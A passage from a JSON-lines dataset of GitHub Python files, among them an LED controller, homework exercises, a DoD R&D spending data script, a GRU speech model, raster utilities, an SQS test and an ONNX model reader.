range(5):\n\n        if -1 < (i + index) % num_pixels < num_pixels:\n\n            dual((i + index) % num_pixels, color)\n\ndef chase_up():\n    chase((0, 0, 255), 1)\n\ndef chase_down():\n    chase((0, 0, 255), -1)\n\ndef fade():\n    pixels.fill((0, 0, int(128 * math.sin(time.time() * 3) + 128)))\n\ndef watchdog():\n    pixels.fill((255 if int(time.time() * 2) % 2 == 0 else 0, 0, 0))\n\ndef error():\n    pixels.fill((255, 255, 0) if int(time.time() * 2) % 2 == 0 else (0, 0, 0))\n\ncommand_list = {'fade': fade,\n                'watchdog': watchdog,\n                'rainbow': rainbow_cycle,\n                'chase_up': chase_up,\n                'chase_down': chase_down,\n                'error': error}\n\ndef cycle(command):\n\n    #print(command)\n\n    command_list[command]()\n    pixels.show()\n","repo_name":"henrytwo/CheesyFloofs-FMS","sub_path":"SERVER/led_controller.py","file_name":"led_controller.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14158562973","text":"\"\"\"\n    Ex. 18: Scrieti o functie care sa intoarca suma unei liste de numere\n    folosind recursivitate.\n\n    Exemplu:\n        - f([1,2,3])\n            ---> 6\n\"\"\"\n\n\ndef f(a_list):\n    if len(a_list) == 1:\n        return a_list[0]\n    else:\n        return a_list[0] + f(a_list[1:])\n\n\nl2 = []\nuser = input(\"Number: \")\nprint(\"\\nTo stop type exit\\n\")\n\nwhile user != \"exit\":\n    a = int(user)\n    l2.append(a)\n    user = input(\"Number: \")\n\nprint(f\"\\nThe sum of the elements from the list {l2} is {f(l2)}\")\n","repo_name":"RadanElena/se-python-homework","sub_path":"session3/ex18.py","file_name":"ex18.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"12224210866","text":"\"\"\"\n *\n * Author:  Juarez Paulino(coderemite)\n * Email: juarez.paulino@gmail.com\n *\n \"\"\"\nn=int(input())\nx=1\nwhile x*x<=n:\n  if n%x<1:r=x\n  x+=1\nprint(r,n//r)","repo_name":"juarezpaulino/coderemite","sub_path":"problemsets/Codeforces/Python/A747.py","file_name":"A747.py","file_ext":"py","file_size_in_byte":157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12267132505","text":"import os\n\nfrom setuptools import setup, find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, \"README.md\")) as f:\n    README = f.read()\n\nINSTALL_REQUIRES = [\"numpy\"]\n\nEXTRAS_REQUIRE = {\n    \"testing\": [\"pytest\"],\n    \"lint\": [\"black==18.9b0\", \"pre-commit==1.14.3\"],\n}\nEXTRAS_REQUIRE[\"dev\"] = EXTRAS_REQUIRE[\"testing\"] + EXTRAS_REQUIRE[\"lint\"]\n\n\nsetup(\n    name=\"decide\",\n    version=\"0.0\",\n    description=\"decide\",\n    long_description=README,\n    classifiers=[\"Programming Language :: Python\"],\n    author=\"Olivier Moliner\",\n    author_email=\"olivier.moliner@gmail.com\",\n    url=\"\",\n    keywords=\"homework\",\n    packages=find_packages(),\n    include_package_data=True,\n    zip_safe=False,\n    extras_require=EXTRAS_REQUIRE,\n    install_requires=INSTALL_REQUIRES,\n)\n","repo_name":"oliviermoliner/wasp_secc_vt19_decide","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70520288751","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 22 01:53:45 2020\n@author: undiv\n\nThis script will gather the latest available DoD R&D spending data for the 50 states\nand District of Columbia. The data covers obligations (i.e. contract awards) \nthat occurred during FY18.\n\nNote: A significant portion of DoD R&D spending is listed as \"Undistributed\"\nin the dataset. This is a result of 1) classified research, and 2) legacy accounting \nsystems that simply do not provide geographic details for reporting to NSF.\nIn future years DoD hopes to minimize 'Undistributed' reporting, but for now\nthis is the best we can do. \n\nAlso, the data is from FY18. We would prefer FY19 spending, but these will not \nbe available until NSF publishes the next volume of its R&D Funds Survey.\n\nWe will eventually combine this data with GIS shapefiles to build a map of projected \nDoD FY21 R&D spending (after applying a DoD multiplier). \n\"\"\"\n# import pandas as pd and numpy as np\n\nimport pandas as pd\nimport numpy as np\n\n# Display Max Rows so you can see what you're getting as you go\n\npd.set_option('display.max_rows',None)\n\n# Set up file names: the NSF URL with the .xlsx file, \n# and the output file we will write the results into. \n# The Excel file contains FY18 DoD geographical spending data.\n# We will select data for the 50 states.\n\nexcelname = 'https://ncsesdata.nsf.gov/fedfunds/2018/excel/ffs18-dt-tab094.xlsx'\noutname = 'DoD_FY18__RD_50_state.csv'\n\n# Also import 'DoD_FY21_Multiplier.csv' and read with pd.read_csv()\n\ndodmulti = 'DoD_FY21_Multiplier.csv'\ndodmulti = pd.read_csv(dodmulti)\n\n# Open the desired Excel file from the URL, which is Table 94. \n# Read the Excel file using pd.read_excel() with arguments (xl,'Table 94',header=3)\n\nxl = pd.ExcelFile(excelname)\nxlf = pd.read_excel(xl,'Table 94', header=3)\n\n# We only want two columns of data: \"State or location and agency\" and \"Total\".\n# Trim the data to those columns using .iloc[].\n\ntrimmed = xlf.iloc[:,[0,1]]\n\n# trim further to include only rows 1-253. \n\ntrimmed = trimmed.iloc[1:253]\n\n# We only want the State and the R&D Total, but there are rows in between.\n# The state names are in rows 1,6...251 alternating every 5 rows. The R&D Totals\n# are in rows 2,7...252 alternating every five rows. Make a list for trimming.\n# [If you know of a better way, by all means go for it.]\n\nstatelist = [\n        1,2,6,7,11,12,16,17,21,22,26,27,31,32,36,37,41,42,46,47,51,52,56,57,61,\n        62,66,67,71,72,76,77,81,82,86,87,91,92,96,97,101,102,106,107,111,112,116,\n        117,121,122,126,127,131,132,136,137,141,142,146,147,151,152,156,157,161,\n        162,166,167,171,172,176,177,181,182,186,187,191,192,196,197,201,202,206,\n        207,211,212,216,217,221,222,226,227,231,232,236,237,241,242,246,247,251,252\n        ]\n\n# Use .loc[statelist] to trim the data frame.\n\ntrimmed = trimmed.loc[statelist]\n\n# Now we need the value of every other row to be switched into the second column.\n# Use pd.DataFrame(trimmed.Total.values.reshape(-1,2),columns=['State','Total']) to \n# put the values where they should be. Set the Totals to integer datatype.\n\ntrimmed = pd.DataFrame(trimmed.Total.values.reshape(-1,2),columns=['State','Total'])\ntrimmed.Total = trimmed.Total.astype(int)\n\n# This method produced the unintended consequence of replacing the States with\n# null values. To resolve the problem, add a list of the States in alphabetical order\n# just as in the NSF dataset.\n\nstatenames = ['Alabama', 'Alaska', 'Arizona', 'Arkansas', \n              'California', 'Colorado', 'Connecticut', 'Delaware', \n              'District of Columbia', 'Florida', 'Georgia', 'Hawaii', 'Idaho', \n              'Illinois', 'Indiana', 'Iowa', 'Kansas', 'Kentucky', 'Louisiana', \n              'Maine', 'Maryland', 'Massachusetts', 'Michigan', 'Minnesota',\n              'Mississippi', 'Missouri', 'Montana', 'Nebraska', 'Nevada', \n              'New Hampshire', 'New Jersey', 'New Mexico', 'New York', \n              'North Carolina', 'North Dakota', \n              'Ohio', 'Oklahoma', 'Oregon', 'Pennsylvania', \n              'Rhode Island', 'South Carolina', 'South Dakota', 'Tennessee', \n              'Texas', 'Utah', 'Vermont', 'Virginia', \n              'Washington', 'West Virginia', 'Wisconsin', 'Wyoming']\n\n# Replace the null values with the State names, using .drop() to remove the null\n# values and replacing with the State names.\n\nn = trimmed.columns[0]\ntrimmed.drop(n, axis = 1, inplace = True)\ntrimmed['State'] = statenames\n\n# This method produced an unintended consequence of flipping the columns.\n# \"Total\" is now column [0] and State is column [1].\n# To resolve, switch the columns using .head()\n\ntrimmed = trimmed[['State','Total']]\ntrimmed.head()\n\n\n# The values in the NSF dataset are in $K, so multiply the Totals by 1000\n# using .apply(lambda x: x*1000)\n\ntrimmed['Total'] = trimmed['Total'].apply(lambda x: x*1000)\n\n\n# Finally, use the same .apply() command to multiply the Totals by the \n# DoD FY21 Multiplier, which is '1.2887570722688233'.\n# Use .astype(np.int64) to set the result to integer datatype. \n# Print the result.\n\ntrimmed['Total'] = trimmed['Total'].apply(lambda x: x*1.2887570722688233)\n\ntrimmed['Total'] = trimmed['Total'].astype(np.int64)\nprint(trimmed)\n\n# Set the index to 'State' for ease of use later.\n\ntrimmed.set_index('State',inplace=True)\n\n\n# Finally, send to the output file\n\ntrimmed.to_csv(outname)","repo_name":"cmkeys/DOD-research-and-development-FY-21-cmkeys","sub_path":"04-DoD-to-NSF_50-states.py","file_name":"04-DoD-to-NSF_50-states.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25673584096","text":"import torch\nimport torch as th\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom scipy.signal import get_window\nfrom torch.utils.tensorboard.writer import SummaryWriter\n\n\nclass GRUC(nn.Module):\n    \"\"\"\n    GRU Model\n    \"\"\"\n\n    def __init__(self, input_dim, hidden_dim, output_dim, n_layers, drop_prob=0.2):\n        super(GRUC, self).__init__()\n        self.hidden_dim = hidden_dim\n\n        self.n_layers = n_layers\n\n        self.gru = nn.GRU(\n            input_size=input_dim,\n            hidden_size=hidden_dim,\n            num_layers=n_layers,\n            batch_first=True,\n            dropout=drop_prob\n        )\n        self.linear2 = nn.Linear(hidden_dim, output_dim)\n        self.relu = nn.ReLU()\n\n    def forward(self, x):\n        out, h = self.gru(x)\n        # print(f\"out1: {out.size()}\")\n        out = self.linear2(self.relu(out))\n        return out, h\n\n    def init_hidden(self, batch_size):\n        weight = next(self.parameters()).data\n        hidden = weight.new(self.n_layers, batch_size, self.hidden_dim).zero_()\n        return hidden\n\n\nclass NET(nn.Module):\n    def __init__(\n        self,\n        L=20,\n        N=256,\n        X=8,\n        R=4,\n        B=256,\n        H=512,\n        P=3,\n        norm=\"cLN\",\n        num_spks=1,\n        non_linear=\"relu\",\n        causal=False\n    ):\n        super(NET, self).__init__()\n        supported_nonlinear = {\n            \"relu\": F.relu,\n            \"sigmoid\": th.sigmoid,\n            \"softmax\": F.softmax\n        }\n        if non_linear not in supported_nonlinear:\n            raise RuntimeError(\"Unsupported non-linear function: {}\",\n                               format(non_linear))\n        self.non_linear_type = non_linear\n        self.non_linear = supported_nonlinear[non_linear]\n        # n x S => n x N x T, S = 4s*8000 = 32000\n        self.encoder_1d = Conv1D(1, N, L, stride=L // 2, padding=0)\n        self.T = (64000 - L) // (L // 2) + 1 # 6399\n        self.gru_net = GRUC(\n            input_dim=H,\n            hidden_dim=H,\n            output_dim=B,\n            n_layers=2,\n            drop_prob=0.2\n        )\n        # n x N x T => n x N x H\n        self.linear1 = nn.Sequential(\n            nn.Linear(N, 837),\n            nn.ReLU(),\n            nn.Linear(837, 637),\n            nn.ReLU(),\n            nn.Linear(637, H)\n        )\n        # output 1x1 conv\n        # n x B x T => n x N x T\n        # NOTE: using ModuleList not python list\n        # self.conv1x1_2 = th.nn.ModuleList(\n        #     [Conv1D(B, N, 1) for _ in range(num_spks)])\n        # n x B x T => n x 2N x T\n        self.mask = Conv1D(B, num_spks * N, 1)\n        self.linear2 = nn.Sequential(\n            nn.Linear(B, 637),\n            nn.ReLU(),\n            nn.Linear(637, 498),\n            nn.ReLU(),\n            nn.Linear(498, B),\n            nn.ReLU()\n        )\n        # using ConvTrans1D: n x N x T => n x 1 x To\n        # To = (T - 1) * L // 2 + L\n        self.decoder_1d = ConvTrans1D(\n            N, 1, kernel_size=L, stride=L // 2, bias=True)\n        self.num_spks = num_spks\n\n    \n\n    def forward(self, x):\n        # x.size() = torch.Size([16, 64000])\n        if x.dim() >= 3:\n            raise RuntimeError(\n                \"{} accept 1/2D tensor as input, but got {:d}\".format(\n                    self.__name__, x.dim()))\n        # when inference, only one utt\n        if x.dim() == 1:\n            x = th.unsqueeze(x, 0)\n        # n x 1 x S => n x N x T\n        w = self.encoder_1d(x)  # w.size(): torch.Size([16, 256, 6399])\n        # n x N x T => n x T x N\n        y = th.transpose(w, 1, 2)\n        # n x T x N => n x T x H\n        y = th.tanh(self.linear1(y)) \n        # n x T x H => n x T x B\n        y, hidden = self.gru_net(y)\n\n        y = self.linear2(y)\n\n        # n x T x B => n x B x T\n        y = th.transpose(y, 1, 2)\n        # n x B x T => n x N x T\n        \n        e = y * w\n\n        # spks x n x S\n        output = self.decoder_1d(e, squeeze=True)  # require torch.Size([16, 64000])\n        output = th.unsqueeze(output, 0) # 本框架套用分离框架，第0维表示分离出的说话人，因为为语音增强，只有一个干净语音，所以在第0维加个1，[1,16,257,637]?\n        # print(\"output.size: \".format(output.size()))\n        return output\n\n\nclass Conv1D(nn.Conv1d):\n    \"\"\"\n    1D conv in GRUC\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super(Conv1D, self).__init__(*args, **kwargs)\n\n    def forward(self, x, squeeze=False):\n        \"\"\"\n        x: N x L or N x C x L\n        \"\"\"\n        if x.dim() not in [2, 3]:\n            raise RuntimeError(\"{} accept 2/3D tensor as input\".format(\n                self.__name__))\n        x = super().forward(x if x.dim() == 3 else th.unsqueeze(x, 1))\n        if squeeze:\n            x = th.squeeze(x)\n        return x\n\n\nclass ConvTrans1D(nn.ConvTranspose1d):\n    \"\"\"\n    1D conv transpose in ConvTasNet\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super(ConvTrans1D, self).__init__(*args, **kwargs)\n\n    def forward(self, x, squeeze=False):\n        \"\"\"\n        x: N x L or N x C x L\n        \"\"\"\n        if x.dim() not in [2, 3]:\n            raise RuntimeError(\"{} accept 2/3D tensor as input\".format(\n                self.__name__))\n        x = super().forward(x if x.dim() == 3 else th.unsqueeze(x, 1))\n        if squeeze:\n            x = th.squeeze(x)\n        return x\n\n\n# 使用tensorboard工具来可视化查看网络模型\ndef tensorboard_show_model(model, input=None, model_name=None):\n    writer = SummaryWriter(model_name)\n    writer.add_graph(model, input)\n    writer.close()\n","repo_name":"apollo600/ASLP","sub_path":"HolidayWork_gruc/nnet/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74091106669","text":"# Does not work!\n\nimport timeit\n\n# slow\n# simple loop\ndef loop(n):\n    t = 0\n    for i in range(1, n+1):\n        if i % 3 == 0 or i % 5 == 0:\n            t += i\n    return t\n\n# fast\n# calculate each numbers' sum and subtract common multiplier\ndef calc(n):\n    t03 = 3*(n/3)*(n/3+1)/2\n    t05 = 5*(n/5)*(n/5+1)/2\n    t15 = 15*(n/15)*(n/15+1)/2\n    return t03 + t05 - t15\n\n","repo_name":"Atheas/ProjectEuler","sub_path":"001 - o1.py","file_name":"001 - o1.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"42960183144","text":"import os\n# import rasterio\n\nfrom . import log\n\n\ndef to_tiff(filename_in, filename_out, format_in, cog=False):\n    \"\"\"\n    For accepted formats (in): https://gdal.org/drivers/raster/index.html\n    \"\"\"\n    import rasterio\n\n    format_out = 'GTiff'\n    format_in = 'ISIS3' if format_in == 'ISIS' else format_in\n\n    try:\n        if cog:\n            res = tiff2cog(filename_in, filename_out)\n        else:\n            src = rasterio.open(filename_in, 'r', driver=format_in)\n            data = src.read()\n            params = src.meta\n            params['driver'] = format_out\n            dst = rasterio.open(filename_out, 'w', **params)\n            dst.write(data)\n            dst.close()\n            src.close()\n    except Exception as err:\n        raise err\n        return None\n    return filename_out\n\n\ndef merge(filenames, output):\n    \"\"\"\n    Return filename of merged 'filenames' GeoTIFFs\n\n    Input:\n        filenames : list\n            List of filenames to merge\n        output : string\n            Mosaic filename\n    \"\"\"\n    import rasterio\n    from rasterio.merge import merge as riomerge\n    log.debug(\"Running 'merge' method.\")\n\n    with rasterio.open(filenames[0]) as src:\n        meta = src.meta.copy()\n\n    # The merge function returns a single array and the affine transform info\n    arr, out_trans = riomerge(filenames)\n\n    meta.update({\n        \"driver\": \"GTiff\",\n        \"height\": arr.shape[1],\n        \"width\": arr.shape[2],\n        \"transform\": out_trans\n    })\n\n    # Write the mosaic raster to disk\n    with rasterio.open(output, \"w\", **meta) as dest:\n        dest.write(arr)\n\n    return output\n\n\ndef rescale(filename_in, filename_out, factor=0.5):\n    \"\"\"\n    Resample data for faster processing. Rescale to HALF the resolution by default.\n    \"\"\"\n    import rasterio\n    from rasterio.enums import Resampling\n\n    with rasterio.open(filename_in) as src:\n\n        height = int(src.height * factor)\n        width = int(src.width * factor)\n        transform = src.transform * src.transform.scale(\n                    (src.width / width),\n                    (src.height / height)\n        )\n\n        # resample data to target shape\n        data = src.read(\n            out_shape=(src.count, height, width),\n            resampling=Resampling.bilinear\n        )\n        data[data<=src.nodata] = src.nodata\n\n        # copy src metadata, update as necessary for 'dst'\n        kwargs = src.meta.copy()\n        kwargs.update({\n            'transform': transform,\n            'width': width,\n            'height': height\n        })\n\n        # reproject \"src\" to \"dst\"\n        with rasterio.open(filename_out, 'w', **kwargs) as dst:\n            for i, band in enumerate(data, 1):\n                dst.write(band, i)\n\n        return filename_out\n\nresample = rescale\n","repo_name":"chbrandt/npt","sub_path":"npt/utils/_rasterio.py","file_name":"_rasterio.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"24034892748","text":"import random\nimport time\nimport os\nimport sys\nimport unittest\nimport mock\nimport boto3\n\nfrom tests.ModuleBaseTestCase import ModuleBaseTestCase, MockLumberMill\nfrom lumbermill.input import SQS\n\nclass TestSQS(ModuleBaseTestCase):\n\n    def setUp(self):\n        if 'TRAVIS' in os.environ and os.environ['TRAVIS'] == 'true':\n            raise unittest.SkipTest('At the moment testing sqs services seems to be broken. Checking it.')\n        try:\n            self.aws_access_key_id = os.environ['AWS_ID']\n            self.aws_secret_access_key = os.environ['AWS_KEY']\n        except KeyError:\n            raise unittest.SkipTest('Skipping test because no aws credentials set. Please set env vars AWS_ID and AWS_KEY.')\n        self.queue_name = \"%032x%s\" % (random.getrandbits(128), os.getpid())\n        self.connectToSqsQueue()\n        super(TestSQS, self).setUp(SQS.SQS(mock.Mock()))\n\n    def connectToSqsQueue(self):\n        try:\n            self.sqs_client = boto3.client('sqs', region_name='eu-west-1',\n                                                  api_version=None,\n                                                  use_ssl=True,\n                                                  verify=None,\n                                                  endpoint_url=None,\n                                                  aws_access_key_id=self.aws_access_key_id,\n                                                  aws_secret_access_key=self.aws_secret_access_key,\n                                                  aws_session_token=None,\n                                                  config=None)\n            self.sqs_resource = boto3.resource('sqs', region_name='eu-west-1',\n                                                      api_version=None,\n                                                      use_ssl=True,\n                                                      verify=None,\n                                                      endpoint_url=None,\n                                                      aws_access_key_id=self.aws_access_key_id,\n                                                      aws_secret_access_key=self.aws_secret_access_key,\n                                                      aws_session_token=None,\n                                                      config=None)\n            self.sqs_queue = self.sqs_resource.create_queue(QueueName=self.queue_name)\n        except:\n            etype, evalue, etb = sys.exc_info()\n            print(\"Could not create sqs queue %s. Exception: %s, Error: %s\" % (self.queue_name, etype, evalue))\n\n    def testSQS(self):\n        self.test_object.configure({'aws_access_key_id': self.aws_access_key_id,\n                                    'aws_secret_access_key': self.aws_secret_access_key,\n                                    'region': 'eu-west-1',\n                                    'queue': self.queue_name})\n        self.checkConfiguration()\n        # Send some messages to the test queue.\n        for _ in range(0, 100):\n            self.sqs_queue.send_message(MessageBody='One thing is for sure, the sheep is not a creature of the air. '\n                                                    'They have enormous difficulty in the comparatively simple act of perchin.')\n        # Give messages some time to arrive.\n        time.sleep(2)\n        self.test_object.start()\n        event = False\n        time.sleep(4)\n        counter = 0\n        for event in self.receiver.getEvent():\n            counter += 1\n        self.assertTrue(event != False)\n        self.assertEqual(counter, 100)\n        self.assertEqual(event['data'], 'One thing is for sure, the sheep is not a creature of the air. '\n                                        'They have enormous difficulty in the comparatively simple act of perchin.')\n\n    def tearDown(self):\n        self.sqs_client.delete_queue(QueueUrl=self.sqs_queue.url)","repo_name":"dstore-dbap/LumberMill","sub_path":"tests/input/TestSQS.py","file_name":"TestSQS.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"38"}
{"seq_id":"72364319151","text":"import numpy as np\nimport sys\n\nclass Window:\n    def __init__(self, size):\n\n        # The data itself\n        self.data = {'magnetometer': [], 'barometer': [], 'light': []}\n\n        # The window size, in milliseconds\n        self.size = size\n\n        # The first data point\n        self.start = None\n\n    def push_point(self, data):\n        \"\"\"\n        Add a point to the window and return false if window is full\n        \"\"\"\n        sensor_type = data['sensor_type']\n        time = data['data']['t']\n        if (self.start == None):\n            self.start = time\n        if (time - self.start > self.size):\n            return False\n        elif (sensor_type == u\"SENSOR_MAGNETOMETER\"):\n            x = data['data']['x']\n            y = data['data']['y']\n            z = data['data']['z']\n            self.data['magnetometer'].append([time, x, y, z])\n            return True\n        elif (sensor_type == u\"SENSOR_BAROMETER\"):\n            val = data['data']['value']\n            self.data['barometer'].append([time, val])\n            return True\n        elif (sensor_type == u\"SENSOR_LIGHT\"):\n            val = data['data']['value']\n            self.data['light'].append([time, val])\n            return True\n\n    def push_slices(self, data):\n        \"\"\"\n        Add a slice to the window and return false if the window is full\n        Return the data without the slice\n        \"\"\"\n        if (self.data != {'magnetometer': [], 'barometer': [], 'light': []} or len(data['magnetometer']) == 0):\n            return False\n        else:\n            def sizeIndex(ls, start, size):\n                i = 0\n                while(i < len(ls) and ls[i,0] - start < size):\n                    i += 1\n                return i\n            self.start = data['magnetometer'][0,0]\n            magIndex = sizeIndex(data['magnetometer'], self.start, self.size)\n            barIndex = sizeIndex(data['barometer'], self.start, self.size)\n            lightIndex = sizeIndex(data['light'], self.start, self.size)\n            self.data['magnetometer'] = data['magnetometer'][:magIndex]\n            self.data['barometer'] = data['barometer'][:barIndex]\n            self.data['light'] = data['light'][:lightIndex]\n            return {'magnetometer': data['magnetometer'][magIndex:], 'barometer': data['barometer'][barIndex:], 'light': data['light'][lightIndex:]}\n\n    def allCheck(self):\n        \"\"\"\n        Check if there is enough data\n        \"\"\"\n        return 2 <= min([len(self.data['magnetometer']), len(self.data['barometer']), len(self.data['light'])])\n","repo_name":"themostpaperclips/390MB_Fall2016_team2_final","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71225670511","text":"import json, re, os\nimport numpy, numpy as np\nfrom .net import Net\nfrom time import time\nimport json, zipfile\nfrom io import BytesIO\n\ndef read_net(path, debug=False):\n    net = Net()\n    path = path.replace('.onnx', '')\n    if os.path.exists(path+'.pla'):\n        with zipfile.ZipFile(path+'.pla') as f:\n            path = os.path.split(path)[1]\n            body = json.loads(f.read(path+'.json'))\n            lay, flw = body['layers'], body['flow']\n            inputs, inits = body['input'], body['inits']\n            buf = BytesIO(f.read(path+'.npy'))\n            weights = np.load(buf)\n    elif os.path.exists(path+'.json'):\n        with open(path+'.json') as f:\n            body = json.load(f)\n            lay, flw = body['layers'], body['flow']\n            inputs, inits = body['input'], body['inits']\n        weights = np.load(path+'.npy')\n    elif os.path.exists(path+'.onnx'):\n        body, weights = read_onnx(path+'.onnx')\n        if body == 'lost': return weights\n        lay, flw = body['layers'], body['flow']\n        inputs, inits = body['input'], body['inits']\n    else: \n        return print('model %s not found!'%path)\n    net.load_json(inputs, inits, lay, flw, debug)\n    net.load_weights(weights)\n    return net\n\ntypes = [None, 'float32', 'uint8', 'int8', 'uint16', 'int16', 'int32', 'int64', \n    'str', 'bool', 'float16', 'float64', 'uint32', 'uint64', 'complex64', 'complex128']\n\ndef node(attrs, name, k=None, para=None): \n    node = None\n    for i in attrs: \n        if i.name==name: node = i\n    if k is None or node is None: \n        return node\n    rst = getattr(node, k)\n    if k=='ints': rst = list(rst)\n    if k=='s': rst = rst.decode()\n    if not para is None: \n        para[name] = rst\n    return rst\n\n\ndef read_onnx(path):\n    import onnx, onnx.numpy_helper\n    graph = onnx.load(path).graph\n    input_para = [i.name for i in graph.input]\n    layers, inits, weights, flows, values = [], [], [], [], {}\n    for i in graph.initializer: \n        v = onnx.numpy_helper.to_array(i)\n        values[i.name] = len(weights), v.shape\n        inits.append([i.name, v.shape, str(v.dtype)])\n        if v.ndim==0: v = np.array([v])\n        weights.append(v)\n    for i in graph.node:\n        inpara = [j for j in i.input]\n        outpara = [j for j in i.output]\n\n\n\n        if len(inpara)==1: inpara = inpara[0]\n        if len(outpara)==1: outpara = outpara[0]\n\n        flows.append([inpara, [i.name], outpara])\n        # weights.extend([values[i] for i in initpara])\n        # print(i.op_type, '===')\n        if i.op_type == 'BatchNormalization':\n            cur = flows[-1]\n            k, b, m, v = [weights[values[cur[0][j]][0]] for j in (1,2,3,4)]\n            v_inv = 1/numpy.sqrt(v + 1e-5)\n            kmv_inv_b = -k*m*v_inv + b\n            kv_inv = k*v_inv\n            kmv_inv_b.shape = kv_inv.shape = (1,-1,1,1)\n            \n            kname, bname = cur[0][1] + '_invK', cur[0][1] + '_invB'\n            values[kname] = len(weights), kv_inv.shape\n            values[bname] = len(weights)+1, kmv_inv_b.shape\n            inits.append([kname, kv_inv.shape, str(kv_inv.dtype)])\n            inits.append([bname, kmv_inv_b.shape, str(kmv_inv_b.dtype)])\n            weights.extend([kv_inv, kmv_inv_b])\n            cur[0] = [cur[0][0], kname, bname]\n            layers.append([i.name, 'batchnorm', {}])\n        elif i.op_type == 'Conv':\n            # attr, w = i.attribute, values[i.input[1]][1]\n            attr = i.attribute\n            g = node(attr, 'group', 'i') or 1\n            d = node(attr, 'dilations', 'ints')\n            p = node(attr, 'pads', 'ints')\n            s = node(attr, 'strides', 'ints')\n            layers.append([i.name, 'conv', {\n                'group':g, 'strides':s, 'dilations':d, 'pads':p}])\n        elif i.op_type == 'ConvTranspose':\n            attr = i.attribute\n            para = {}\n            g = node(attr, 'group', 'i', para)\n            d = node(attr, 'dilations', 'ints', para)\n            p = node(attr, 'pads', 'ints', para)\n            s = node(attr, 'strides', 'ints', para)\n            op = node(attr, 'output_padding', 'ints', para)\n            layers.append([i.name, 'convtranspose', para])\n        elif i.op_type == 'Gemm':\n            layers.append([i.name, 'dense', {'shp':list(values[i.input[1]][1][::-1])}])\n        elif i.op_type == 'MaxPool':\n            w = node(i.attribute, 'kernel_shape', 'ints')\n            m = node(i.attribute, 'pads', 'ints')\n            s = node(i.attribute, 'strides', 'ints')\n            layers.append([i.name, 'maxpool', {'w':w, 'pads':m, 'strides':s}])\n        elif i.op_type == 'GlobalAveragePool':\n            layers.append([i.name, 'gap', {}])\n        elif i.op_type == 'Upsample':\n            mode = node(i.attribute, 'mode', 's')\n            layers.append([i.name, 'upsample', {'mode':mode}])\n        elif i.op_type == 'Resize':\n            mode = node(i.attribute, 'mode', 's')\n            nearest_mode = node(i.attribute, 'nearest_mode', 's')\n            trans_mode = node(i.attribute, 'coordinate_transformation_mode', 's')\n            layers.append([i.name, 'resize', {'mode':mode, 'nearest_mode':nearest_mode, \n                'coordinate_transformation_mode': trans_mode}])\n        elif i.op_type == 'Flatten':\n            layers.append([i.name, 'flatten', {}])\n        elif i.op_type == 'Unsqueeze':\n            axis = node(i.attribute, 'axes', 'ints')\n            layers.append([i.name, 'unsqueeze', {} if axis is None else {'axes':axis}])\n        elif i.op_type == 'Squeeze':\n            axis = node(i.attribute, 'axes', 'ints')\n            layers.append([i.name, 'squeeze', {} if axis is None else {'axes':axis}])\n        elif i.op_type == 'Relu':\n            layers.append([i.name, 'relu', {}])\n        elif i.op_type == 'LeakyRelu':\n            alpha = i.attribute[0].f\n            layers.append([i.name, 'leakyrelu', {'alpha':alpha}])\n        elif i.op_type == 'HardSigmoid':\n            para = {}\n            node(i.attribute, 'alpha', 'f', para)\n            node(i.attribute, 'beta', 'f', para)\n            layers.append([i.name, 'hardsigmoid', para])\n        elif i.op_type == 'Add':\n            layers.append([i.name, 'add', {}])\n        elif i.op_type == 'Sub':\n            layers.append([i.name, 'sub', {}])\n        elif i.op_type == 'Div':\n            layers.append([i.name, 'div', {}])\n        elif i.op_type == 'Tile':\n            layers.append([i.name, 'tile', {}])\n        elif i.op_type == 'MatMul':\n            layers.append([i.name, 'matmul', {}])\n        elif i.op_type == 'Constant':\n            _, _, name = flows.pop(-1)\n            dim = i.attribute[0].t.dims\n            tp = types[i.attribute[0].t.data_type]\n\n            v = onnx.numpy_helper.to_array(i.attribute[0].t)\n            values[name] = len(weights), v.shape\n            inits.append([name, v.shape, str(v.dtype)])\n            if v.ndim==0: v = np.array([v])\n            weights.append(v)\n            #layers.append([i.name, 'const', {'value':v, 'dtype':tp}])\n        elif i.op_type == 'Identity':\n            layers.append([i.name, 'identity', {}])\n        elif i.op_type == 'Pow':\n            layers.append([i.name, 'pow', {}])\n        elif i.op_type == 'ReduceSum':\n            para = {}\n            node(i.attribute, 'axes', 'ints', para)\n            node(i.attribute, 'keepdims', 'i', para)\n            layers.append([i.name, 'reducesum', para])\n        elif i.op_type == 'ReduceMean':\n            para = {}\n            node(i.attribute, 'axes', 'ints', para)\n            node(i.attribute, 'keepdims', 'i', para)\n            layers.append([i.name, 'reducemean', para])\n        elif i.op_type == 'ReduceMax':\n            para = {}\n            node(i.attribute, 'axes', 'ints', para)\n            node(i.attribute, 'keepdims', 'i', para)\n            layers.append([i.name, 'reducemax', para])\n        elif i.op_type == 'ReduceMin':\n            para = {}\n            